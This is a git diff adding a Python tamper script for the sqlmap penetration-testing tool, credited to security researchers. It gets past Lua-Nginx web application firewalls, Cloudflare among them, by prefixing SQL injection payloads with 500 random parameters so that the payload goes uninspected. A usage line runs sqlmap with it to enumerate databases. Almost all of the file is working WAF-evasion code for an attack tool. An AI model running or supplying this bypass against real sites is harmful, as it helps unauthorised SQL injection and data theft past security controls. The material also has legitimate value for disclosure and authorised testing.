diff --git a/tamper/luanginxwafbypass.py b/tamper/luanginxwafbypass.py new file mode 100644 index 000000000..1cd5e00c3 --- /dev/null +++ b/tamper/luanginxwafbypass.py @@ -0,0 +1,48 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +''' +[+] LUA-Nginx WAFs Bypass (Cloudflare) +Vulnerability discovered by: Daniel Fariña Hernández +Tamper created by: Jennifer Torres Fernández (@j4ckmln) + +Lua-Nginx WAFs doesn't support processing for more than 100 parameters. + +Open Data Security (@ODSops) [https://ods.es] +PoC: https://www.youtube.com/watch?v=JUvro7cqidY +Vulnerability information: https://opendatasecurity.io/cloudflare-vulnerability-allows-waf-be-disabled/ + +Example: sqlmap -r file.txt --tamper=luanginxwafbypass.py --dbs --skip-urlencode +''' + +import sys +import string +import random +from lib.core.enums import PRIORITY +from lib.core.data import conf +__priority__ = PRIORITY.HIGHEST + +''' Random parameter''' +def randomParameterGenerator(size=6, chars=string.ascii_uppercase + string.digits): + output = ''.join(random.choice(chars) for _ in range(size)) + return output + +''' [Tamper] LUA-Nginx WAFs Bypass ''' +def tamper(payload, **kwargs): + try: + headers = kwargs.get("headers", {}) + randomParameter = randomParameterGenerator() + parameter = 'id' + + if conf["skipUrlEncode"] != True: + print "\n[-] [ERROR] --skip-urlencode option must be activated" + sys.exit(0) + + # Add 500 parameters to payload + luaBypass = ("&" + randomParameter + "=")*500 + "&" + outputPayload = luaBypass + parameter + "=" + payload + + return outputPayload + except Exception as error: + print error + return None